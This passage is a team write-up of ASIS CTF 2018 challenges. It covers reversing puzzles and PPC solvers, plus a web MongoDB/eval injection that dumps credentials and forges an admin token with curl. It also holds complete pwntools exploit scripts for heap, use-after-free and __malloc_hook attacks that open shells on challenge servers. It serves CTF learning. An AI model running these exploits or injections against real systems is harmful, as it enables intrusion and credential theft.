in the header, and the page will check the token. If it's incorrect, an error occurs `Authorization Failed.` Let's fuzz the three `get` APIs. The title, text seem not injectable and only parse integer until encountering an invalid character. However, image is injectable. The `get/image/0+1` is equal to `get/image/1`. Even `get/image/eval("0+1")` works like a charm. So we got a blind injection here. The backend is Nodejs + express. I'll first guess it's using mongoDB. Keey moving on. We try to extract the information of the backend, only to find it's in nodejs vm2. There is no `require` so we cannot RCE. Actually versatile @sasdf spent some time on trying to escape the vm, but it seems very hard. Next, we leaked `module` and find `_mongo`, `db`. It's possible to get all collection names via `db.collection.getname()`. Then, use eval and ` this["db"].credentials.find().toArray()` to dump the database. We dump `credentials` and `authorization`: ```{"_id":{"str":"5ae63ae0a86f623c83fecfb3"},"id":1,"method":"post_data","format":"username=[username]&password=[password]","activate":"false"}{"_id":{"str":"5ae63ae0a86f623c83fecfb4"},"id":2,"method":"header","format":"md5(se3cr3t|[username]|[password])","activate":"true"} {"_id":{"str":"5ae63ae0a86f623c83fecfb1"},"id":1,"username":"administrator","password":"H4rdP@ssw0rd?"}``` Great! The payload:```shcurl 'http://206.189.54.119:5000/admin_area' -H "authorization_token:`echo -n 'se3cr3t|administrator|H4rdP@ssw0rd?' | md5sum | cut -f1 -d' '`"``` Flag: `ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}` Postscript: Take a look at Yashar Shahinzadeh's [writeup](https://medium.com/bugbountywriteup/mongodb-injection-asisctf-2018-quals-personal-website-write-up-web-task-115be1344ea2). In fact, the server will send back the error message through the response header `Application-Error`. There is no need to perform blind injection. We are reckless and didn't find this. Next time, I'll carefully inspect every payload and HTTP status code/headers. ### Sharp eyes (unsolved, written by bookgin, special thanks to @herrera) The incorrect account/password in the login page will redirect to `error/1`. Missing either account or password parameter redirects to `error/2`. The source HTML of `error/1`. ```html<html><head><script src='/jquery-3.3.1.min.js'></script><link href='style.css' rel='stylesheet'></head><body><div class="accordion"> <dl> <dt class="active"> <script>var user = '1';</script>Invalid credentials were given.``` If the URL is `error/hello`, the js part becomes `var user = 'hello';`. Addtionally, some characters `<>",` are filtered, but it's imple to bypass using single quotes and semicolons. It's obvious that we have to somehow make the admin trigger this XSS, but how? I guess the admin will read the log in the server, but after a few tries, we found it does't work at all. Ok, so why does variable user mean in the javascript here? Maybe we can inject the XSS payload to the username login page. but it doesn't work, neither. What if it's not a XSS challenge? I don't think so because: 1. I note that the jQuery is loaded in the error page, but it's not used.2. There is a XSS filter. The discovery strongly indicates this is a XSS challenge. However, why does the error code is assigned to a user variable? This does not make sense at all. This challenge made me very frustrated. I think the XSS part is very misleading at the begninning, though it's used after logged in successfully. It was not unitl the last 30 minutes that we found the error code is vulnerable to SQL injection. The server returns the content but the status code is 500. Thanks to @sasdf 's sharp eyes. I'm too careless to find the SQL injection vulenerability. SQLmap will dump the database. The DB is SQlite. Thanks to @herrera in IRC channel:> sharp eyes was sqli on /error/1, getting username/hash of the user david, logging into him, then using /error/1 as a XSS too, sending it to admin and getting the flag on flag.php Postscript: 1. Sharp eyes: HTTP status code2. Some misleading part might be the second stage of the challenge.3. It a number of teams solve this challenge, it must be not difficult. ### Gameshop (unsolved) Please refer to [official solution](https://blog.harold.kim/2018/04/asisctf-2018-gameshop-solution). Acctually, we spent a few hours on MicroDB LFI. Next, I'm trying to find a way to exploit all the possible `die(__FLAG__)`. I know we may use unserialization to create `Affimojas->flag = 0`, since in PHP, `var_dump(0 == "asdasdasd"); // bool(true)` . However, I cannot find the way to exploit unserilization. In the last 1 hours, @sasdf noted that we can manipulate the first block, but we though we didn't have much time solving this challenge. There is a long road to go on solving web challnges:) ## rev ### Warm up (sces60107) This is a warm up challenge. They give you a C file like this. ```C#define M 37#define q (2+M/M)#define v (q/q)#define ef ((v+q)/2)#define f (q-v-ef)#define k (8-ef)struct b{int64_t y[13];}S;int m=1811939329,N=1,t[1<<26]={2},a,*p,i,e=73421233,s,c,U=1;g(d,h){for(i=s;i<1<<25;i*=2)d=d*1LL*d%m;for(p=t;p<t+N;p+=s)for(i=s,c=1;i;i--)a=p[s]*(h?c:1LL)%m,p[s]=(m*1U+*p-a)*(h?1LL:c)%m,*p=(a*1U+*p)%m,p++,c=c*1LL*d%m;}l(){while(e/=2){N*=2;U=U*1LL*(m+1)/2%m;for(s=N;s/=2;)g(136,0);for(p=t;p<t+N;p++)*p=*p*1LL**p%m*U%m;for(s=1;s<N;s*=2)g(839354248,1);for(a=0,p=t;p<t+N;)a+=*p<<(e&1),*p++=a%10,a/=10;}}z(n){int y=3,j,c;for(j=2;j<=n;){l();for(c=2;c<=y-1;c++){l();if(y%c==0)break;}if(c==y){l();j++;}y++;}l();return y-1;}main(a, pq) char* pq;{int b=sizeof(S),y=b,j=M;l();int x[M]={b-M-sizeof((short int) a),(b>>v)+(k<<v)+ (v<<(q|ef)) + z(v+(ef<<v)),(z(k*ef)<<v)-pow(ef,f), z(( (j-ef*k)|(ef<<k>>v)/k-ef<<v)-ef),(((y+M)&b)<<(k/q+ef))-z(ef+v),((ef<<k)-v)&y,y*v+v,(ef<<(q*ef-v-(k>>ef)))*q-v,(f<<q)|(ef<<(q*f+k))-j+k,(z(z(z(z(z(v)))))*q)&(((j/q)-(ef<<v))<<q)|(j+(q|(ef<<v))),y|(q+v),(ef<<ef)-v+ef*(((j>>ef)|j)-v+ef-q+v),(z(j&(b<<ef))&(z(v<<v)<<k))-(q<<v)-q,(k<<q)+q,(z(y)>>(ef<<v))+(z(k+v))-q,(z(z(k&ef|j))&b|ef|v<<f<<q<<v&ef>>k|q<<ef<<v|k|q)+z(v<<v)+v,(ef>>v)*q*z(k-v)+z(ef<<ef&q|k)+ef,z(k<<k)&v&k|y+k-v,z(f>>ef|k>>ef|v|k)*(ef>>v)*q,(ef<<k-ef<<v>>q<<ef*ef)-j+(ef<<v),z(ef*k)*z(v<<v)+k-v,z((z(k)<<z(v)))&y|k|v,z(ef<<ef<<v<<v)/ef+z(v<<ef|k|(b>>q)&y-f)-(ef<<q)+(k-v)-ef,k<<(ef+q)/z(ef)*z(q)&z(k<<k)|v,((z(y|j>>k*ef))%ef<<z(v<<v<<v)>>q<<q|j)/ef+v,(j-ef<<ef<<v*z(v>>v<<v)>>ef)/ef%z(k<<j)+q,z(k-v)+k|z(ef<<k>>v<<f)-z(q<<q)*ef>>v,(z(ef|y&j|k)%q|j+ef<<z(k|ef)%k<<q|ef|k<<ef<<q/ef|y/ef+j>>q)&k<<j|ef+v,84,z(v*ef<<ef<<q)*q%ef<<k|k|q-v,((z(20)*v)|(f>>q)|(k<<k))/ef-(ef<<(v*q+ef))-(k<<q)+z(k)-q};while(j--){putchar(x[M-v-j]);}printf(" From ASIS With Love <3\n");return 0;}``` You can compile the code. But when executing the binary, it just hanging there. So the first step is to understand this code.It look likes you need to beautify this code. You can count on online tools, but I do this with myself. And I found out there is a useless function `l` which seems to waste lots of time. I just deleted that function in the code and compile the code again. Eventualy, I got the flag and the first blood. The flag is `ASIS{hi_all_w31c0m3_to_ASISCTF}` ### baby C (sces60107) This challenge give you a obfuscated binary. It is obvious that they use [movfuscator](https://github.com/xoreaxeaxeax/movfuscator). It's not easy to reverse such obfuscated binary directly. You will need the help of `qira` or `gdb`. And I choose the former. But it's still difficult to trace the program flow. After a while, I notice that there is `strncmp` in this binary. ```....text:08049557 mov eax, off_83F6170[edx*4].text:0804955E mov edx, dword_81F6110.text:08049564 mov [eax], edx.text:08049566 mov esp, off_83F6130.text:0804956C mov dword_85F61C4, offset strncmp_plt.text:08049576 mov eax, dword_83F6158.text:0804957B mov eax, off_85F61C8[eax*4].text:08049582 mov eax, [eax]...``` I utilized `qira` to trace the program and realized that part of code is doing `strncmp(input[3:],"m0vfu3c4t0r!",0xc)` Well, the hint tell us `flag is ASIS{sha1(input[:14])}` Now we just need the first three byte. The next step needs patience. you have to trace down the code manually. Then you can find this ```....text:080498C8 mov dl, byte ptr dword_804D050.text:080498CE mov edx, dword_81F5B70[edx*4].text:080498D5 mov dword_804D05C, edx.text:080498DB mov dword_804D058, 'A'.text:080498E5 mov eax, dword_804D05C.text:080498EA mov edx, dword_804D058.text:080498F0 mov ecx, 8804B21Ch...``` If you are familiar with movfuscator, you will know this part of code is trying to compare two bytes. I knew this because I read this [pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) in order to solve this challenge. Now we know it is try to compare the first byte of input to `A` The rest of this chanllenge is diggin out the other code which try to compare the second and the third byte. ```....text:08049BED mov edx, 0.text:08049BF2 mov dl, byte ptr dword_804D050.text:08049BF8 mov edx, dword_81F5B70[edx*4].text:08049BFF mov dword_804D05C, edx.text:08049C05 mov dword_804D058, 'h'.text:08049C0F mov eax, dword_804D05C.text:08049C14 mov edx, dword_804D058.text:08049C1A mov ecx, 8804B21Ch....text:08049F17 mov edx, 0.text:08049F1C mov dl, byte ptr dword_804D050.text:08049F22 mov edx, dword_81F5B70[edx*4].text:08049F29 mov dword_804D05C, edx.text:08049F2F mov dword_804D058, '_'.text:08049F39 mov eax, dword_804D05C.text:08049F3E mov edx, dword_804D058.text:08049F44 mov ecx, 8804B21Ch...``` Finally, we got `input[:14]` which is `Ah_m0vfu3c4t0r`. So the flag will be `ASIS{574a1ebc69c34903a4631820f292d11fcd41b906}`### Echo (sces60107) You will be given a binary in this challenge. Just try to execute it.```$ ./Echo Missing argument$ ./Echo blablaError opening blabla!``` Well, you only get some error message. After using some decompile tool I found this. ``` if ( v9 <= 1 ) { fwrite("Missing argument\n", 1uLL, 0x11uLL, stderr); exit(1); } if ( !strncmp(*(const char **)(a2 + 8), "GIVEMEFLAG", 0xAuLL) ) { v46 = (signed int)sub_970(v49); }``` It seems like you should put `GIVEMEFLAG` in the first argument. ```./Echo GIVEMEFLAGaawtfwtfthisisuselessthisisuseless``` Well it just echo what you input. But `sub_970` seems interesting. I used gdb to catch return value. Then I found this function return a string array `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>>>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]><<<<<<<<<<<<<<<<<<<<<<<<<<,[.,]` Obviously, it is `brainfuck`. the last part of this brainfuck string is `[.,]` which will read your input and output to your screen. before that there a bunch of `[+]>` . It will clean the buffer. The goal is clear now. we need to what does it put on the buffer before it remove them. We can rewrite the brainfuck string to fulfill our requirements The new brainfuck string will be `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[.>]` Now the binary will output the flag `flag{_bR41n---,[>.<],+_fxxK__}` According to the note `Note: flag{whatyoufound}, submit ASIS{sha1(whatyoufound)}` The true flag is `ASIS{7928cc0d0f66530a42d5d3a06f94bdc24f0492ff}`### Left or Right? (sces60107) Just try to execute the given binary. ```$ ./right_or_left What's The Secret Key?I dont knowinvalid key:( try again``` So it seems like we need a secret key? Then I levearaged a decompiler to reverse this binary. Unfortunately, I found that it's a `rust` binary. I am not familar with `rust`. It's difficult to me to fully reverse it. Then I found some interesting strings like `therustlanguageisfun` and `superkeymysecretkeygivemetheflagasisctfisfun` I try to input those strings ```$ ./right_or_left What's The Secret Key?therustlanguageisfunASIS{that_is_not_the_real_flag}$ ./right_or_left What's The Secret Key?superkey ASIS{be_noughty_step_closer_to_see_the_flag}$ ./right_or_left What's The Secret Key?mysecretkeyASIS{imagine_a_flag_in_a_watermelon_how_can_you_capture_it}``` It seems like they are all fake flag. Now there is two ways to deal with this chellange. The way I take is finding how this binary output those fake flag. Using `gdb` and `IDA pro`, I found that those function which will generate fake flag is located at these position. ![](https://i.imgur.com/Riza8hO.png) Well, `sub_9320` seems to be a good target to analysis. Just use `gdb` and change your $rip. Then, the real flag will output to your screen Now you have the flag `ASIS{Rust_!s_Right_i5_rust_!5_rust_but_rust_!s_no7_left}` There is another way to capture the flag. In this way, you should find out the real secret key. Practically, you need to locate the key-checking function. Track those fake key. you will find out the key-checking function. It is located at `sub_83c0` Then you can trace this function and easily get the real secret key which is `sscsfuntnguageisfunsu`### Density (sces60107) In this challenge you will get a binary and a encrypted flag. This chllenge is not difficult at all. The binary name is "b64pack". You can just try base64```$ base64 short_adff30bd9894908ee5730266025ffd3787042046dd30b61a78e6cc9cadd72191 O++h+b+qcASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==``` There is string while looks like flag`ASIS++e01d+c4Nd+cGoLD+cASIS+c1De4+c4H4t+cg0e5+cf0r+cls+d++gdI++j+kM+vb++fD9W+q/Cg==` We still need to reverse the binary. You can divide this binary into three part. The first part:`input=randomstr+input+flag` The second part:```pythonnewinput=""for i in input: if i in "@$_!\"#%&'()*+,-./:;<=>?\n": newinput+="+"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) elif i in "[\\]^{|}~`\t": newinput+="++"+chr(ord('a')+"@$_!\"#%&'()*+,-./:;<=>?\n".index(i)) else: newinput+=i```The third part:```output=newinput.decode("base64")``` Now you know how to reconstruct the flag.The flag is `ASIS{01d_4Nd_GoLD_ASIS_1De4_4H4t_g0e5_f0r_ls!}`## pwn ### Cat (kevin47) * I am a idiot that can't think, so I used the most hardcore way :)* Use name and kind to leak heap, libc, stack, canary* fastbin dup attack to stack twice in order to overwrite return address ```python#!/usr/bin/env python2 from pwn import *from IPython import embedimport re context.arch = 'amd64' r = remote('178.62.40.102', 6000) def create(name, kind, age, nonl=0, stack=''): if name == '': r.recvrepeat(1) if stack: r.send(stack) else: r.send('0001') if name == '': r.sendlineafter('>', '') r.sendlineafter('>', '') else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) def edit(idx, name, kind, age, modify, sp=1): r.send('0002') r.send(str(idx).rjust(4, '0')) if sp: r.recvrepeat(1) r.sendline(name) r.sendlineafter('>', kind) else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) r.send(modify.ljust(4, '\x00')) def print_one(idx): r.recvrepeat(2) r.send('0003') r.sendlineafter('>', str(idx)) return r.recvuntil('---', drop=True) def delete(idx): r.send('0005') r.send(str(idx).rjust(4, '0')) create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)#create('a'*0x10, 'a'*0x10, 1)create(flat(0, 0x21), flat(0, 0x21), 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)delete(4)delete(5)# set ptredit(0, 'b', 'b', 2, 'n')create('', '', 1)edit(0, 'b', 'b', 2, 'n', sp=1)x = print_one(4)xx = re.findall('kind: (.*)\nold', x)[0]heap = u64(xx.ljust(8, '\x00')) - 0x180print 'heap:', hex(heap)create('a', flat(heap+0x10, heap+0x70), 1)edit(0, 'b', 'b', 2, 'n') create(flat(0x602010), 'a', 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]#libc = u64(xx.ljust(8, '\x00')) - 0x3a6870libc = u64(xx.ljust(8, '\x00')) - 0x3e1870print 'libc:', hex(libc) delete(6)#environ = libc + 0x38bf98environ = libc + 0x3c6f38create(flat(heap+0x10, heap+0x30), flat(environ, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]stack = u64(xx.ljust(8, '\x00'))print 'stack', hex(stack) delete(6)canary_addr = stack - 0x100 + 1create(flat(canary_addr, heap+0x30), flat(heap+0x10, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]canary = u64('\x00'+xx[:7])print 'canary:', hex(canary) # switch orderdelete(6)create(flat(heap+0x10, heap+0x30), flat(heap+0x10, heap+0x30), 1) edit(0, 'b', 'b', 2, 'n')delete(1) fake_pos = stack-0x11fprint 'fake_pos:', hex(fake_pos)create(flat(fake_pos), 'a', 1)# fake chunk on stackcreate(flat(heap+0x1b0, heap+0x210), '\x00'*7+flat(0x2100), 1, stack='1\x21\x00\x00') # puts address on heapdelete(3)create(flat(fake_pos+0x10), flat(fake_pos+0x10), 1) # reset fastbindelete(4)delete(0) create(flat(heap+0x160), 'b', 1,)#raw_input("@")magic = libc + 0xf1147print 'magic:', hex(magic)r.recvrepeat(1)r.sendline('1')r.sendlineafter('>', 'AAAA')r.sendafter('>', flat(canary>>8)[:-1]+flat(0, magic))r.sendlineafter('>', '6')sleep(1)r.sendline('ls /home/pwn; cat /home/pwn/flag') #embed()r.interactive() # ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}``` ### Just_sort (kevin47) * Simple overflow and UAF problem ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' r = remote('159.65.125.233', 6005) def insert(n, s): r.sendlineafter('>', '1') r.sendlineafter('>', str(n)) r.sendafter('>', s) def edit(h, p, s): r.sendlineafter('>', '2') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) r.sendafter('>', s) def printt(): r.sendlineafter('>', '3') return r.recvuntil('---', drop=True) def search(n, s): r.sendlineafter('>', '4') r.sendlineafter('>', str(n)) r.sendafter('>', s) def delete(h, p): r.sendlineafter('>', '5') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) insert(10, 'a')insert(10, 'b')delete(1, 0)search(10, flat( [0]*3, 0x21, [0]*3, 0x21, 0, 0x602018,))x = printt()xx = re.findall('0: "(.*)"', x)[0]libc = u64(xx.ljust(8, '\x00')) - 0x844f0print 'libc:', hex(libc)system = libc+0x45390edit(1, 0, flat(system))insert(40, '/bin/sh\x00')delete(4, 0) r.interactive()# ASIS{67d526ef0e01f2f9bdd7bff3829ba6694767f3d1}``` ### message_me (kevin47) * UAF* hijack __malloc_hook with fastbin dup attack ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6003) def add(sz, content): r.sendlineafter('choice : ', '0') r.sendlineafter('size : ', str(sz)) r.sendlineafter('meesage : ', content) def remove(idx): r.sendlineafter('choice : ', '1') r.sendlineafter('message : ', str(idx)) def show(idx): r.sendlineafter('choice : ', '2') r.sendlineafter('message : ', str(idx)) return r.recvuntil('----', drop=True) def change(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('message : ', str(idx)) add(0x100-0x10, 'a') # 0add(100-0x10, 'a') # 1add(0x100-0x10, 'a') # 2add(100-0x10, 'a') # 3add(0x100-0x10, 'a') # 4add(100-0x10, 'a') # 5remove(0)remove(2)remove(4)x = show(2)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x2e0x = show(4)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3c4c68print 'heap:', hex(heap)print 'libc:', hex(libc) # fastbin dupclib = CDLL("libc.so.6")clib.srand(1)__malloc_hook = libc + 0x3c4aed#__malloc_hook = 0x602005magic = libc + 0xf02a4print 'magic:', hex(magic)add(0x70-0x10, flat( # 6 0x71,))add(0x70-0x10, flat(0x71, __malloc_hook)) # 7remove(6)remove(7)remove(6)# 6's fd += 0x10change(6)change(6)change(6)add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, '\x00'*3+flat(0, magic)) # trigger malloc_printerrremove(0)remove(0)#r.sendlineafter('choice : ', '0')#r.sendlineafter('size : ', '100') r.interactive()# ASIS{321ba5b38c9e4db97c5cc995f1451059b4e28f6a}``` ### Tinypwn (kevin47) * Use the syscall execveat ```python2#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6009) r.send('/bin/sh\x00'.ljust(296)+flat(0x4000ed)+'\x00'*18) r.interactive() # ASIS{9cea1dd8873d688649e7cf738dade84a33a508fb}``` ## PPC ### Neighbour (lwc)$O(log N)$```python=#!/usr/bin/env python# -*- coding: utf-8 -*- from sage.all import *from pwn import * def puzzle(s): import string for i in string.printable: for j in string.printable: for k in string.printable: for l in string.printable: if hashlib.sha256(i+j+k+l).hexdigest()[-6:] == s: return i+j+k+l r = remote('37.139.22.174', 11740) r.recvuntil('sha256(X)[-6:] = ')s = r.recv(6)r.sendline(puzzle(s)) stage = 1while True: r.recvuntil('n = ') n = Integer(r.recvline()) print 'stage %d n = ' % stage + str(n) stage += 1 ans = n - max(map(lambda i: power(Integer(floor(n.n(digits=len(str(n))).nth_root(i))), i), range(2, int(ln(n)/ln(2))+1))) print ans r.sendline(str(ans)) r.recvuntil('To win the flag, submit r :)\n') tmp = r.recvline() print tmp if 'Great!' not in tmp: break if 'next' not in tmp: break r.interactive()``` ### The most Boring (how2hack)I used more time to understand the challenge description than solving this challenge ==Basically it wants us to give 3 different string that all consecutive k characters will not repeat. As I am familiar with pwn, I quickly think of pwntools cyclic() function. Pwntools is the best tool! ```python#!/usr/bin/env python import itertools as itimport stringfrom hashlib import sha256import multiprocessing as mp from pwn import * host = '37.139.22.174'port = 56653 def check(p): if sha256(p).hexdigest()[-6:] == target: return p return None def my_remote(ip, port, show=False): global target r = remote(ip, port) menu = r.recvuntil('Submit a printable string X, such that sha256(X)[-6:] = ', drop=True) if show: print(menu) target = r.recvline().strip() possible = string.ascii_letters+string.digits possible = it.imap(''.join, it.product(possible, repeat=4)) pool = mp.Pool(32) log.info('PoW XXXX = %s' % (target)) for c in pool.imap_unordered(check, possible, chunksize=100000): if c: log.info('Solved - %s' % c) r.sendline(c) break pool.close() return r if __name__ == '__main__': import sys r = my_remote(host, port, show=True) while True: r.recvuntil('k = ') k = int(r.recvline().strip()) log.info('k = ' + str(k)) r.recvuntil('send the first sequence: \n') r.sendline(cyclic(alphabet='012', n=k)) r.recvuntil('send the second sequence: \n') r.sendline(cyclic(alphabet='120', n=k)) r.recvuntil('send the third sequence: \n') r.sendline(cyclic(alphabet='201', n=k)) if k == 9: break r.interactive()```Flag: `ASIS{67f99742bdf354228572fca52012287c}` ### Shapiro (shw)Shapiro points are lattice points that the gcd of its coordinates is 1. In this challenge, we have to construct a `k x k` grid such that none of its point is a Shapiro point. Take `k = 3` for example, we have to decide `x, y` such that all of the following points are not Shapiro.```(x+0, y+2), (x+1, y+2), (x+2, y+2)(x+0, y+1), (x+1, y+1), (x+2, y+1)(x+0, y+0), (x+1, y+0), (x+2, y+0)```The basic idea is to assign every point a prime as a common divisor of its coordinates. We let the assigned primes be different for all points, e.g.,```x+0 = y+0 = 0 mod 2x+0 = y+1 = 0 